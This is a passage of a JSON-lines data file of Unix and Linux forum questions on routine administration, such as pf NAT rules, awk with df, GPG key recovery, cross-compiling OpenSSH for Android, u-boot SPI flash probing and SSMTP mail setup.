<-- here's the missing reply, it didn't get to ral0 20:59:40.651221 10.0.1.10 > 74.125.131.139: icmp: echo request 20:59:40.736721 74.125.131.139 > 10.0.1.10: icmp: echo reply <-- but the of the replies rest did 20:59:41.656138 10.0.1.10 > 74.125.131.139: icmp: echo request 20:59:41.741226 74.125.131.139 > 10.0.1.10: icmp: echo reply 20:59:42.661107 10.0.1.10 > 74.125.131.139: icmp: echo request 20:59:42.802372 74.125.131.139 > 10.0.1.10: icmp: echo reply I know that this is almost certainly a NAT issue in `pf.conf` but after so many configuration attempts I'm having trouble finding the correct way to go about passing traffic. When I was using DD-WRT and `iptables`, this was my configuration: iptables -D FORWARD -i tun1 -j logaccept iptables -D FORWARD -o tun1 -j logaccept I'm not sure how to \"port\" this to `pf`, though. Any suggestions would be greatly appreciated!"} {"_id": "19748", "title": "How to awk the \"df -Pm\" command to get FS names that have more then 90% the FS usage?", "text": "I'm trying to get the names of all disks with at least 90% usage, using this oneliner: df -Pm | awk '+$5 >= 90 {print}' But it doesn't show the \"100% usage\" case, I need to grep for \"100%\". Why doesn't it work correctly?"} {"_id": "103935", "title": "Installing sublime-text 2 with pacman", "text": "I want to install sublime-text 2 in Arch Linux with `pacman` package manager; how i can do this work?"} {"_id": "103936", "title": "mutt: conditional date format in \"index_format\"", "text": "I have following value set for `index_format` in mutt: \"%Z %{%Y %b %e %H:%M} %?X?(%X)& ? %-22.22F %.100s %> %5c \" which displays date in the format as 2013 Dec 5 I was wondering whether it is possible to have different date formats depending on how old the email is. By that I mean: for less than 7 days: today, yesterday, tuesday, monday this year: Dec 5 older than this year: 2013 Dec 5 I think I have seen this functionality in Thunderbird. Would be nice to have it in mutt"} {"_id": "103932", "title": "Parsing a delimited text file in bash as command arguments", "text": "I have a text file split up like so: field1,field2,field3 xield1,xield2,xield3 dield1,dield2,dield3 gield1,gield2,gield3 Each of these columns will be a parameter to a program, and I would like the program to be called for each line I was hoping for a loop, something like: for $i in file command $field2 -x $field3 -PN -$field1 >> output done What would be the best way to accomplish something like this in bash?"} {"_id": "19742", "title": "How can I revert a package to a specific version on Gentoo?", "text": "I'm a Debian user pretty much new to Gentoo. I wanted to install a specific version of a package namely the 1.39.0 version of dev-libs/boost, http://packages.gentoo.org/package/dev-libs/boost. But I already did \"emerge dev-libs/boost\" which installed me version 1.46.1-r1. machine ~ # emerge --search boost (...) * dev-libs/boost Latest version available: 1.46.1-r1 Latest version installed: 1.46.1-r1 Size of files: 41,016 kB Homepage: http://www.boost.org/ Description: Boost Libraries for C++ License: Boost-1.0 How can I revert this package back to version 1.39.0? Thank you in advance."} {"_id": "138138", "title": "How to install most recent version of Eclipse via the Terminal", "text": "I'm new to Linux and have just been given a VM of Oracle Linux to work with. I need to install Eclipse on it and, after a bit of research, discovered that this could most easily be done with the following command in the Terminal: sudo yum install eclipse However, I noticed that this installed Eclipse 3.6.1 (Helios), rather than the more recent Eclipse 4.3.2 (Kepler). I realize that I can just go to the Eclipse website and download the most recent installation, but I'd like to know how to do this from the command line (as an educational experience, plus if I have to do this again I'd like a quick and simple way to do it). How can I install the most recent version, or any particular version, of Eclipse via the Terminal?"} {"_id": "103938", "title": "Recovering GPG keys from a backup directory", "text": "I have a backup image mounted at `/mnt`. I need to recover (and revoke) a key in the secret keyring on this backup. How can I list keys and generate a revocation key for a key stored in this other keyring? When I do: gpg --homedir /mnt/home/naftuli/.gnupg --list-keys I see the keys installed locally and not the keys installed in the backup's keyring. What's _really_ strange is that if I `chroot` to the `/mnt` folder and run `gpg --list-keys`, I **still** see the keys in the other keyring. Any ideas?"} {"_id": "124093", "title": ".Operation not permitted. For root user?", "text": "In order to find a workaround for a problem I had yesterday (see the question here) I come out with another experiment. After inserting a flash drive (vfat) and mounting its only partition I wondered: What if I change the permissions on the mount point? Well, that should solve all my problems so I proceed(as root): At first I tried to change the owner: root# chown root:root /media/MOUNT_POINT **Note: /media/MOUNT_POINT was created automatically by the system** What a surprise when the command answer was: **Operation not permited.** What? there is things that are not allowed even being root? Ok, that don't sopped me and then tried: root# chown 000 /media/MOUNT_POINT this time, no messages, but after ls -l /media I got drwx------ 4 miranda miranda 4096 Apr 10 05:41 24EE-9E3C as you can see, the folder still have all its permissions. I tried all combinations from 000 to 666 (with a script of course) and the result was the same. What's happening? What I'm missing? or even more important. Can this be done? Thanks in advance."} {"_id": "153045", "title": "Mysterious Reboot Preventing Debian from Loading", "text": "I recently picked up a cheap, oldish computer at a yard sale. It contained a 80GB SATA hard drive with Windows XP, but I want to turn it into a LAN FTP server, so I tried to set up dual-booting Debian on a secondary, 160GB IDE hard drive. The installation itself went fine, returning no errors, and before I installed it I booted Kali from a USB and regular Debian from a LiveCD, both of which worked perfectly. I installed Debian (GNOME) from the same LiveCD that I had previously booted. I have used this same install CD between three and four other times in the last month, once on a dual-booting system, and have yet to experience any issues. The problem arose during \"the moment of truth,\" the first boot. The computer turned on and loaded the GRUB2 boot menu, which contained the expected possible modes in which to run Debian, the memtest options, and Windows XP at the bottom. Upon loading the default value (this also happens with all other potential Debian modes on the list), it says that it's loading linux, and then that it's loading the initial ramdisk, and then, immediately after it finishes that, it powers off completely and restarts. The behavior is exactly equivalent to pressing ctrl+alt+delete and making the computer restart. I also know that it shuts down after booting the initial ramdisk because I have edited in GRUB2 echo commands letting me know that it got past that part before it shut down. I've followed all of the troubleshooting tips in the Debian GNU/Linux Installation Guide, done a fairly extensive search both of this site and Google, and have come up empty-handed. Based on a fair amount of my own troubleshooting, however, I can only assume that it is a hardware issue related to the native install (specifically) of Debian because the live-booted ones worked fine. I have tested the hard drive and it works fine, as does the other one; booting Windows XP from the GRUB2 menu works flawlessly (albeit slowly). Unplugging the secondary SATA hard drive and several other unnecessary drives and peripherals has no effect on the booting, and none of the boot parameters that people generally recommend to clear up boot-time graphics issues helped at all either. I'm totally stumped. The fact that no error messages are returned doesn't help. EDIT: I double checked, and my computer is running a Pentium D processor with 512MB of RAM (32-bits) and exceeds the minimum hardware requirements for Debian that I am installing on it."} {"_id": "130746", "title": "Shrink btrfs from /dev/sda to /dev/sda1", "text": "suppose I have 2 btrfs filesystems: 1. one mounted on `/mnt/big` spanning across /dev/sda /dev/sdb /dev/sdc /dev/sdd 2. the other mounted on `/mnt/small` on a single drive: /dev/sde How would I shrink the btrfs filesystem lying on /dev/sde to /dev/sde1? The reason I want to do this is that `/mnt/big` is raid1 while `/mnt/small` is not and I would like to extend `/mnt/big`. Thanks!"} {"_id": "130742", "title": "How to enable printk selectively?", "text": "I want to print some statements from kernel but not all. So can I use printk selectively? By selectively I mean I want to enable printk only at particular places and disable it everywhere else. Right now I can only enable (in the kernel configuration enabling printk) or disable it globally; I have no choice at all."} {"_id": "130749", "title": "How can I reduce the volume of DenyHosts emails?", "text": "As someone who had no experience dealing with Unix or Linux before about 6 months ago, I'm feeling pretty comfortable with managing a Linux server now. The one question I do have is about DenyHosts, and how it's sending out reports. Firstly, I get about 3 to 4 DenyHosts reports **a day**. My first question is, is it really true that that many people are trying to brute-force my server? Every time someone is locked out, I get an email that a host has been denied access, which isn't that important to me, as I'm the only human user on the system. Is there a better way to handle the flood of emails coming to me, or a better way to stop people from trying to gain access to my server? Currently I have all of my `root` email forwarded to an actual email address, so I don't have to login via SSH to read it. (Root login is disabled, so I login as myself and `sudo su` into root. Any insight into this would be much appreciated."} {"_id": "137943", "title": "Cross-compiling OpenSSH for Android", "text": "I'm working on compiling OpenSSH for Android based on this answer at Stack Overflow. Here's what I've done so far: * Building on Ubuntu 14.04 amd64. * `apt-get install build-essential gcc-arm-linux-androideabi` Download zlib, then do: cd zlib-1.2.8 ./configure --prefix=/vagrant/build make CC=arm-linux-androideabi-gcc make install This fails at the `make` step: gcc -shared -Wl,-soname,libz.so.1,--version-script,zlib.map -O3 -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN -o libz.so.1.2.8 adler32.lo crc32.lo deflate.lo infback.lo inffast.lo inflate.lo inftrees.lo trees.lo zutil.lo compress.lo uncompr.lo gzclose.lo gzlib.lo gzread.lo gzwrite.lo -lc /usr/bin/ld: crc32.lo: Relocations in generic ELF (EM: 40) crc32.lo: error adding symbols: File in wrong format collect2: error: ld returned 1 exit status make: *** [libz.so.1.2.8] Error 1 What am I missing here? Is there something else it needs to know about to be able to build zlib? Next in the process is to build OpenSSL: cd openssl-1.0.1h/ ./Configure dist --prefix=/vagrant/build/ make CC=\"arm-linux-androideabi-gcc\" AR=\"arm-linux-androideabi-ar r\" RANLIB=\"arm-linux-androideabi-ranlib\" make install This again fails at the `make` step: make[2]: Entering directory `/vagrant/openssl-1.0.1h/apps' ( :; LIBDEPS=\"${LIBDEPS:--L.. -lssl -L.. -lcrypto }\"; LDCMD=\"${LDCMD:-cc}\"; LDFLAGS=\"${LDFLAGS:--O}\"; LIBPATH=`for x in $LIBDEPS; do echo $x; done | sed -e 's/^ *-L//;t' -e d | uniq`; LIBPATH=`echo $LIBPATH | sed -e 's/ /:/g'`; LD_LIBRARY_PATH=$LIBPATH:$LD_LIBRARY_PATH ${LDCMD} ${LDFLAGS} -o ${APPNAME:=openssl} openssl.o verify.o asn1pars.o req.o dgst.o dh.o dhparam.o enc.o passwd.o gendh.o errstr.o ca.o pkcs7.o crl2p7.o crl.o rsa.o rsautl.o dsa.o dsaparam.o ec.o ecparam.o x509.o genrsa.o gendsa.o genpkey.o s_server.o s_client.o speed.o s_time.o apps.o s_cb.o s_socket.o app_rand.o version.o sess_id.o ciphers.o nseq.o pkcs12.o pkcs8.o pkey.o pkeyparam.o pkeyutl.o spkac.o smime.o cms.o rand.o engine.o ocsp.o prime.o ts.o srp.o ${LIBDEPS} ) /usr/bin/ld: openssl.o: Relocations in generic ELF (EM: 40) /usr/bin/ld: openssl.o: Relocations in generic ELF (EM: 40) openssl.o: error adding symbols: File in wrong format collect2: error: ld returned 1 exit status make[2]: *** [link_app.] Error 1 make[2]: Leaving directory `/vagrant/openssl-1.0.1h/apps' make[1]: *** [openssl] Error 2 make[1]: Leaving directory `/vagrant/openssl-1.0.1h/apps' make: *** [build_apps] Error 1 Again it seems to be having the same problem, not being able to read a file that it wrote. I haven't made it to the final step of compiling OpenSSH yet, but this is how I assume that I'd do it: cd openssh-6.6p1 ./configure --host=arm-linux --with-libs --with-zlib=$HOME/zlibArm --with-ssl-dir=$HOME/opensslArm --disable-etc-default-login CC=gcc-arm-linux-gnueabi-gcc AR=gcc-arm-linux-gnueabi-ar make Why is my compilation above failing for Zlib and OpenSSL when compiling for `arm-linux-androideabi`? How can I compile OpenSSH (specifically the client and the agent) for Android on ARM?"} {"_id": "139514", "title": "In u-boot why spi flash is probed twice?", "text": "This is a section of the log from u-boot running on Avnet Microzed board -ARM CORTEX A9: [Thu Jun 26 17:40:53.656 2014] [Thu Jun 26 17:40:53.656 2014] [Thu Jun 26 17:40:53.656 2014] U-Boot 2013.07 (Jun 26 2014 - 17:34:41) [Thu Jun 26 17:40:53.656 2014] [Thu Jun 26 17:40:53.656 2014] 1 GiB [Thu Jun 26 17:40:53.671 2014] SF: Detected S25FL129P_64K/S25FL128S_64K with page size 64 KiB, total 16 MiB [Thu Jun 26 17:40:53.703 2014] *** Warning - bad CRC, using default environment [Thu Jun 26 17:40:53.703 2014] [Thu Jun 26 17:40:53.703 2014] In: serial [Thu Jun 26 17:40:53.703 2014] Out: serial [Thu Jun 26 17:40:53.703 2014] Err: serial [Thu Jun 26 17:40:53.703 2014] U-BOOT for ab [Thu Jun 26 17:40:53.703 2014] [Thu Jun 26 17:40:53.703 2014] [Thu Jun 26 17:40:53.703 2014] SF: Detected S25FL129P_64K/S25FL128S_64K with page size 64 KiB, total 16 MiB [Thu Jun 26 17:40:54.453 2014] SF: 5242880 bytes @ 0x520000 Read: OK [Thu Jun 26 17:40:54.453 2014] Description: PetaLinux Kernel [Thu Jun 26 17:40:54.453 2014] 0x010000f0 [Thu Jun 26 17:40:54.453 2014] 4620145 Bytes = 4.4 MiB [Thu Jun 26 17:40:54.453 2014] Description: Flattened Device Tree blob [Thu Jun 26 17:40:54.453 2014] 0x01468114 [Thu Jun 26 17:40:54.453 2014] 9766 Bytes = 9.5 KiB [Thu Jun 26 17:40:54.453 2014] Hash algo: crc32 [Thu Jun 26 17:40:54.453 2014] Hash value: 9a94aca8 [Thu Jun 26 17:40:54.453 2014] Hash algo: sha1 [Thu Jun 26 17:40:54.453 2014] Hash value: 97b81e3014decb706ff19e61e1227dace97d4232 [Thu Jun 26 17:40:54.453 2014] crc32+ sha1+ Uncompressing Kernel Image ... OK . . . I noticed that the following lines are coming twice: SF: Detected S25FL129P_64K/S25FL128S_64K with page size 64 KiB, total 16 MiB This corresponds to the function spi_flash_probe from drivers/mtd/spi/spi_flash.c I need to know: 1- Why it is probed twice? 2- The name and location of the file from where this function is called (twice). 3- The second time it is being probed it is considerably slow, why it is so? These are my u-boot environmental variable; U-Boot-PetaLinux> printenv autoload=no baudrate=115200 bootdelay=4 bootenvsize=0x00020000 bootenvstart=0x00500000 bootfile=image.ub bootsize=0x00500000 bootstart=0x00000000 clobstart=0x1000000 console=console=ttyPS0,115200 cp_dtb2ram=sf probe 0; sf read ${clobstart} ${dtbstart} ${dtbsize} dtbboot=sf probe 0; sf read ${netstart} ${kernstart} ${kernsize}; sf read ${dtbnetstart} ${dtbstart} ${dtbsize}; bootm ${netstart} - ${dtbnetstart} dtbnetboot=tftp ${netstart} image.ub; tftp ${dtbnetstart} system.dtb; bootm ${netstart} - ${dtbnetstart} dtbnetstart=0x1500000 eraseconf=sf probe 0; sf erase ${confstart} ${confsize} eraseenv=sf probe 0; sf erase ${bootenvstart} ${bootenvsize} ethact=Gem.e000b000 ethaddr=00:0a:35:00:07:c0 fault=echo $img image size is greater than allocated place - $img is NOT UPDATED get_dtb=run cp_dtb2ram; fdt addr ${clobstart} hostname=\"Peta_MicroZed\" install_dtb=sf probe 0; sf erase ${dtbstart} ${dtbsize};sf write ${clobstart} ${dtbstart} ${filesize} install_jffs2=sf probe 0; sf erase ${jffs2start} ${jffs2size};sf write ${clobstart} ${jffs2start} ${filesize} install_kernel=sf probe 0; sf erase ${kernstart} ${kernsize};sf write ${fileaddr} ${kernstart} ${filesize} install_uboot=sf probe 0; sf erase ${bootstart} ${bootsize};sf write ${clobstart} ${bootstart} ${filesize} kernsize=0x00500000 kernstart=0x00520000 load_boot=tftp ${clobstart} BOOT.BIN load_dtb=tftp ${clobstart} system.dtb load_jffs2=tftp ${clobstart} rootfs.jffs2 load_kernel=tftp ${clobstart} image.ub loadaddr=0x1000000 mtdids=nor0=0 mtdparts=mtdparts=0:5M(boot),128K(bootenv),851968(image) nc=setenv stdout nc;setenv stdin nc; ncip=192.168.1.11 netboot=tftp ${netstart} image.ub && bootm netstart=0x1000000 psserial0=setenv stdout ttyPS0;setenv stdin ttyPS0 sd_update_boot=echo Updating BOOT from SD;mmcinfo && fatload mmc 0:1 ${clobstart} BOOT.BIN && run install_uboot sd_update_kernel=echo Updating Kernel from SD;mmcinfo && fatload mmc 0:1 ${clobstart} ${bootfile}&& set fileaddr ${clobstart}&&run install_kernel sdboot=echo boot Petalinux; mmcinfo && fatload mmc 0 ${netstart} ${bootfile}&& bootm serial=setenv stdout serial;setenv stdin serial serverip=192.168.1.11 sfboot=sf probe 0; sf read ${netstart} ${kernstart} ${kernsize}; bootm ${netstart} silent=1 silent-kinux=yes silent_linux=yes test_crc=if imi ${clobstart}; then run test_img; else echo $img Bad CRC - $img is NOT UPDATED; fi test_img=setenv var \"if test ${filesize} -gt ${psize}; then run fault; else run ${installcmd}; fi\"; run var; setenv var update_boot=setenv img BOOT.BIN; setenv psize ${bootsize}; setenv installcmd install_uboot; run load_boot test_img; setenv img; setenv psize; setenv installcmd update_dtb=setenv img DTB; setenv psize ${dtbsize}; setenv installcmd install_dtb; run load_dtb test_img; setenv img update_jffs2=setenv img JFFS2; setenv psize ${jffs2size}; setenv installcmd install_jffs2; run load_jffs2 test_img; setenv img; setenv psize; setenv installcmd update_kernel=setenv img KERNEL; setenv psize ${kernsize}; setenv installcmd \"install_kernel\"; run load_kernel test_crc; setenv img; setenv psize; setenv installcmd varify=n Environment size: 3214/131068 bytes"} {"_id": "46302", "title": "RAID Lag-Behind Burst Write", "text": "I would like to setup RAID1 so that a ramdisk in the RAID configuration has occasional synchronisation with a physical disk (that is very battery intensive to run, so I hope to let it spinout). Is there a way I can set the commission frequency on the RAID config such that it will only burst-write to the HDD every, let's say, 5 minutes?"} {"_id": "86842", "title": "Upgrading debian squeeze to sid", "text": "Atm I am trying to upgrade my debian squeeze to sid. I followed this tutorial: www(.)digitalocean.com/community/articles/upgrading-debian-to-unstable Everything seems to work well until Step 3. While upgrading it doesn't ask me questions. It seems to install everything.. it durates about 15 minutes. My sources.list: deb http://ftp.de.debian(.)org/debian sid main deb http://ftp.de.debian(.)org/debian squeeze main deb http:/ftp.de.debian(.)org/debian sid main contrib non-free # ofc without (.) When I try to use dist-upgrade it says: root@xyz:/home/myname# apt-get dist-upgrade Paketlisten werden gelesen... Fertig Abh\u00e4ngigkeitsbaum wird aufgebaut Statusinformationen werden eingelesen... Fertig Paketaktualisierung (Upgrade) wird berechnet... Fertig Die folgenden Pakete werden ENTFERNT (removed): console-terminus defoma fuse-utils gcj-4.4-base gcj-4.4-jre gcj-4.4 jre-headless (...) xserver-xorg-video-nv Die folgenden NEUEN Pakete werden installiert: acl akonadi-backend-mysql ant ant-optional aptitude-common (...) xserver xorg-input-vmmouse xulrunner-17.0 Die folgenden Pakete werden aktualisiert (Upgrade): acpi acpi-support-base acpid adduser (...) xterm xz-utils zip zlib1g 979 aktualisiert, 555 neu installiert, 58 zu entfernen und 0 nicht aktualisiert. E: Konnte Sperre /var/cache/apt/archives/lock nicht bekommen - open (11: Die Ressource ist zur Zeit nicht verf\u00fcgbar) E: Das Verzeichnis /var/cache/apt/archives/ kann nicht gesperrt werden (german -> english) E: Couldn't get lock /var/cache/apt/archives/lock - open (11: The ressource isn't available) E: The directory /var/cache/apt/archives/ can't get locked"} {"_id": "86847", "title": "What is freezing my desktop every second (like clockwork)?", "text": "Recently, after using my desktop machine for a day or so, the oddest thing will start happening: Every second, the desktop will briefly freeze, then continue, like a heartbeat. The interval is one second exactly \u2014I measured with a stopwatch\u2014 though every six or seven seconds, it will skip a beat. Any audio will continue normally, as will the mouse-pointer. The rest freezes, which is particularly noticeable with running video and text-editing. But it's only within X; the `tty1` terminal doesn't suffer from this. And restarting X will temporarily fix the problem. The regularity of this occurrence, as well as the fact that I always have plenty of free memory and idle cores left, makes me suspect that some process is running on a timer, co-opting the video-card. But I can't figure out what it is. I can't find anything useful in the dmesg or X logs. Here is some info that might be useful (let me know if I should add more): * **Distro** : Gentoo Linux (kernel: linux-3.7.1-gentoo) * **Desktop** : Gnome3 * **CPU** : Intel Core i7 (quadcore) * **VGA** : GeForce 9500 GT (driver: Nouveau 1.0.8) It's probably overpowered for the general multitasking I use it for. I know my kernel is somewhat out-of-date, but I think I'd actually be a bit frustrated if a kernel update fixed the problem, because then I'll never know what caused it. :-) Any ideas?"} {"_id": "86844", "title": "Is there a way to listen to process?", "text": "I want to know if there is a way to listen to a process in linux & unix - when it ends and what's the exit code of the process(script). I dont want to write a script that will run `X` seconds and check by `ps -ef | grep PID` if the process is still alive. I want to know if there is a way that the process will notify me when it ended and what was its exit code."} {"_id": "81817", "title": "virt-install and /dev/hda vs. /dev/sda", "text": "It appears that my virt-install xml file (i.e. created when defining a VM) specifies targets \"hda\", \"hdb\", and so on as the devices for disks, however, the VM, once created, lists `/dev/sda`, `/dev/sdb`, etc... for its devices. Is the target device name not guaranteed to be honored when creating new Linux VM's in `virt-install`? If so, how can we determine what a device name will be before the VM is created? I also recall similar issues in AWS with externally mounted disks, so maybe there is some missing piece to the puzzle of the guarantees provided when devices are named and mounted which I am not aware of."} {"_id": "86848", "title": "shifted screen with AMD card both drivers", "text": "Running OS 12.3 i've encountered the problem of a ragged and/or shifted screen using an AMD HD 7670M and FGLRX and/or radeon drivers. A full account can be found on: SuSE Hardware Forum Short story: no matter what I do - the screen is either shifted to the right & wrapped (varying from 1/4 to 3/4 of monitor) or it appears in weird shifted stripes (varying in width between reboots). Only thing that works is failsafe mode. Any help would be much appreciated! This is what I get when running get-edid: ./get-edid: get-edid version 2.0.0 Performing real mode VBE call Interrupt 0x10 ax=0x4f00 bx=0x0 cx=0x0 Function unsupported Call failed VBE version 0 VBE string at 0x0 \"O\" VBE/DDC service about to be called Report DDC capabilities Performing real mode VBE call Interrupt 0x10 ax=0x4f15 bx=0x0 cx=0x0 Function unsupported Call failed Reading next EDID block VBE/DDC service about to be called Read EDID Performing real mode VBE call Interrupt 0x10 ax=0x4f15 bx=0x1 cx=0x0 Function unsupported Call failed The EDID data should not be trusted as the VBE call failed Error: output block unchanged This is the force-converted output by parse-edid: ./parse-edid: parse-edid version 2.0.0 ./parse-edid: EDID checksum failed - data is corrupt. Continuing anyway. ./parse-edid: first bytes don't match EDID version 1 header ./parse-edid: do not trust output (if any). # EDID version 105 revision 100 Section \"Monitor\" Identifier \"ZKD:3a20\" VendorName \"ZKD\" ModelName \"ZKD:3a20\" # DPMS capabilities: Active off:yes Suspend:yes Standby:no Mode \"1381x578\" # vfreq 134.753Hz, hfreq 87.185kHz DotClock 257.110000 HTimings 1381 1496 1593 2949 VTimings 578 632 644 647 EndMode Mode \"1909x1824\" # vfreq 24.545Hz, hfreq 96.217kHz DotClock 292.980000 HTimings 1909 1958 2006 3045 VTimings 1824 1826 1842 3920 EndMode Mode \"1824x1853\" # vfreq 7.869Hz, hfreq 31.073kHz DotClock 123.360000 HTimings 1824 1872 1920 3970 VTimings 1853 1891 1894 3949 EndMode Mode \"1902x1641\" # vfreq 18.599Hz, hfreq 99.246kHz DotClock 300.220000 HTimings 1902 1950 2067 3025 VTimings 1641 1647 1709 5336 EndMode EndSection Output of xrandr --prop w. fglrx nomodeset: Screen 0: minimum 320 x 200, current 1366 x 768, maximum 1600 x 1600 LVDS connected 1366x768+0+0 (normal left inverted right x axis y axis) 344mm x 193mm SignalFormat: DisplayPort ConnectorType: Panel 1366x768 60.0*+ 1360x768 60.0 1280x768 60.0 1280x720 60.0 1024x768 60.0 1024x600 60.0 800x600 60.0 800x480 60.0 640x480 60.0 DFP1 disconnected (normal left inverted right x axis y axis) SignalFormat: TMDS ConnectorType: HDMI CRT1 disconnected (normal left inverted right x axis y axis) SignalFormat: VGA ConnectorType: VGA"} {"_id": "80148", "title": "no stderr output when using stdbuf -o 0 |& tee log", "text": "I want to log the standard output and error info from running my program, using the following command: stdbuf -o 0 ./myprogram|& tee mylog it works fine in one computer, I can see both standard output and stderr output on screen and in `mylog`. but in another computer, I can only see the standard output in screen and `mylog`. They are both Fedora OS and x86_64."} {"_id": "80149", "title": "which distributions to test for successful compilation?", "text": "I've got a package written in C++ using boost libraries and a bunch of helper scripts, and I want to make sure it's easy to compile for _most_ Linux x86_64 distributions. It uses `cmake` and downloads the appropriate version of boost if there isn't one found in the system. I need to decide which ones based on which ones are most used and cover the widest versions of libraries. I have chosen the following ones so far: * Ubuntu 12.04.02 LTS * CentOS 6.4 The following ones I am not sure if I should include or not: * CentOS 5.x -- for older system configurations out there. Worth adding? * RHEL v.3 -- is this going to be any different than CentOS 6.x? * Fedora -- is this going to be any different than CentOS 6.x? * openSUSE -- is this worth adding? I know this question is a bit subjective depending on people's opinion and what they might have seen out there, but considering there is a `distribution- choice` tag, I thought I would ask. Also, whatever people say, it's still better than my naive knowledge of people using mostly: 1. Ubuntu/Mint for desktops/laptops 2. some brew of either Debian or a RedHat based one on supercomputing grids (CentOS/Fedora/RHEL)"} {"_id": "140461", "title": "Configure vsftpd allow access to mounted ISO file", "text": "I am having problems to allow anonymous FTP access to a directory that mounted a ISO file. * No change to `/etc/vsftpd/vsftpd.conf` * RHEL 6.5 DVD ISO file saved to `/var/ftp/pub/ISO/rhel6_5.iso` * Anonymous user can see this ISO file * Created a directory `/var/ftp/pub/rhel` * Mounted iso file, `mount -o loop,ro /var/ftp/pub/ISO/rhel6_5.iso /var/ftp/pub/rhel` But anonymous ftp users can't see `rhel` directory for some reason, any ideas ? I followed this instructions vsftpd symbolic link, but it did not work for me. `/var/ftp/pub/rhel` directory will disappear from anonymous FTP user, if I mount the ISO file. Here is `ls -lZ` output. I also noticed that SELinux context will change once I mount the ISO file. [root@citest pub]# ls -lZ drwxr-xr-x. root root unconfined_u:object_r:public_content_t:s0 ISO drwxr-xr-x. root root unconfined_u:object_r:public_content_t:s0 rhel"} {"_id": "140467", "title": "Setup GMX email with SSMTP", "text": "I setup the simplest outgoing email server possible with `ssmtp`. It is giving me the error `Authorization failed (535 Authentication credentials invalid)`. Here is my configuration without comments: # /etc/ssmtp/ssmtp.conf root=myemail@gmx.com mailhub=mail.gmx.com:465 rewriteDomain=gmx.com hostname=HP-Q101 rewriteDomain=gmx.com FromLineOverride=YES AuthUser=myemail@gmx.com AuthPass=my@super&secret*pa$$word UseTLS=YES Running output: ~$ ssmtp -vvv webmaster@example.com < msg [<-] 220 gmx.com (mrgmxus001) Nemesis ESMTP Service ready [->] EHLO ASUS-N53SM [<-] 250 AUTH LOGIN PLAIN [->] AUTH LOGIN [<-] 334 VXNlcm5hbWU6 [->] c3VwZXZvMZExZGdteZ3jb33= [<-] 334 ZZFzc3dvcmZ3 [<-] 535 Authentication credentials invalid ssmtp: Authorization failed (535 Authentication credentials invalid) I understand that this implies a wrong username or password, but I have confirmed the password by copying it directly from my password manager. I also tried setting my user name to only `myemail`. * Anyone have luck setting up a GMX account? * If the problem isn't username/password, what could it possibly be?"} {"_id": "42374", "title": "What does it mean when the output of $ls -lasrt includes '.' and '..'", "text": "I input the command: $ ls -lasrt And the output includes (there are more results, these are the ones that confuse me): 4 drwxr-xr-x 5 tuc40953 stdchem 4096 Jul 3 17:48 .. 4 drwxr-xr-x 2 tuc40953 stdchem 4096 Jul 5 10:03 . Could this mean that the last things that were written are in the previous directory?"} {"_id": "42376", "title": "reading from serial from linux command line", "text": "I have a serial port device that I would like to test using linux command line. I am able to use stty and echo for sending commands to serial port, but when device responds I have no way of reading what is coming from serial port. I am using `stty -F /dev/ttyS0 speed 9600 cs8 -cstopb -parenb && echo -n ^R^B > /dev/ttyS0` to send a command to the device. Device operates and sends a response back in 300 ms's and but I don't know how I can print that response to the console using command line, if someone can show me a way to do this, I'd be grateful."} {"_id": "45101", "title": "Find a file in lots of zip files (like find command for directories)", "text": "> **Possible Duplicate:** > Find recursively all archive files of diverse archive formats and search > them for file name patterns I need to search for a file in all zip files in a directory. Is there a tool like `find` that be able to search in ZIP files? I tried this: find /path/ -iname '*.zip' -print -exec unzip -l {} \\; |grep -i '' But this only prints path of file in zip file and not the zip file name itself! Thanks"} {"_id": "80141", "title": "Moving a Xen DomU to a new block device", "text": "I am busy replacing the (SAN attached) storage configured for this XEN host. Is there some way to \"move\" the domU from one block device to another on the same host, possibly something similar to live migration, but on a single host and going to new storage? My current process is: 1. Shut down the VM. 2. Delete the VM 3. Change it's XML config file to refer to the new LUN device. 4. Copy (at raw level) the data from the old to the new LUN 5. Re-create the VM using the updated XML config file 6. Start the VM back up. This works... but it takes time - some of the LUNs are huge. It would be great if I could either minimize the downtime to a few minutes, or ideal if I could eliminate it entirely. FWIW this old host is still Running Xen 3.0. About the current disk setup - it is realy simple. Each DomU have a single whole disk device assigned to it, eg phy:/dev/emcpowerx As evident by the above, the device is a pseudo device managed by EMC powerpath. The objective is to move the domU from /dev/emcpowerx to /dev/emcpowerz."} {"_id": "140469", "title": "Cannot create L2TP/IPSec VPN connection on Gentoo", "text": "My system is Gentoo 64bit, DE is KDE 4, and I have just updated my system. I set up a L2TP/IPSec VPN but it cannot initiate the connection. Whenever I try to connect I got below error in my system log. Jul 03 11:13:47 dell NetworkManager[291]: connection /org/freedesktop/NetworkManager/Settings/3 failed to activate: (2) The VPN service 'org.freedesktop.NetworkManager.l2tp' was not installed. What package am I missing? `emerge --info`: Portage 2.2.10 (default/linux/amd64/13.0/desktop/kde/systemd, gcc-4.8.3, glibc-2.19-r1, 3.14.4-gentoo x86_64) System uname: Linux-3.14.4-gentoo-x86_64-Intel-R-_Core-TM-_i5-3210M_CPU_@_2.50GHz-with-gentoo-2.2 KiB Mem: 8035260 total, 772960 free KiB Swap: 0 total, 0 free Timestamp of tree: Thu, 03 Jul 2014 02:30:01 +0000 ld GNU ld (Gentoo 2.24 p1.4) 2.24 ccache version 3.1.9 [enabled] app-shells/bash: 4.2_p47 dev-java/java-config: 2.2.0 dev-lang/python: 2.7.7, 3.2.5-r3, 3.3.5, 3.4.1 dev-util/ccache: 3.1.9-r3 dev-util/cmake: 2.8.12.2-r1 dev-util/pkgconfig: 0.28-r1 sys-apps/baselayout: 2.2 sys-apps/openrc: 0.12.4 sys-apps/sandbox: 2.6-r1 sys-devel/autoconf: 2.69 sys-devel/automake: 1.11.6, 1.14.1 sys-devel/binutils: 2.24-r3 sys-devel/gcc: 4.8.3 sys-devel/gcc-config: 1.8 sys-devel/libtool: 2.4.2-r1 sys-devel/make: 4.0-r1 sys-kernel/linux-headers: 3.15 (virtual/os-headers) sys-libs/glibc: 2.19-r1 Repositories: gentoo x-portage ACCEPT_KEYWORDS=\"amd64 ~amd64\" ACCEPT_LICENSE=\"*-@EULA AdobeFlash-11.x Intel-SDP\" CBUILD=\"x86_64-pc-linux-gnu\" CFLAGS=\"-O2 -pipe\" CHOST=\"x86_64-pc-linux-gnu\" CONFIG_PROTECT=\"/etc /usr/share/config /usr/share/gnupg/qualified.txt\" CONFIG_PROTECT_MASK=\"/etc/ca-certificates.conf /etc/env.d /etc/fonts/fonts.conf /etc/gconf 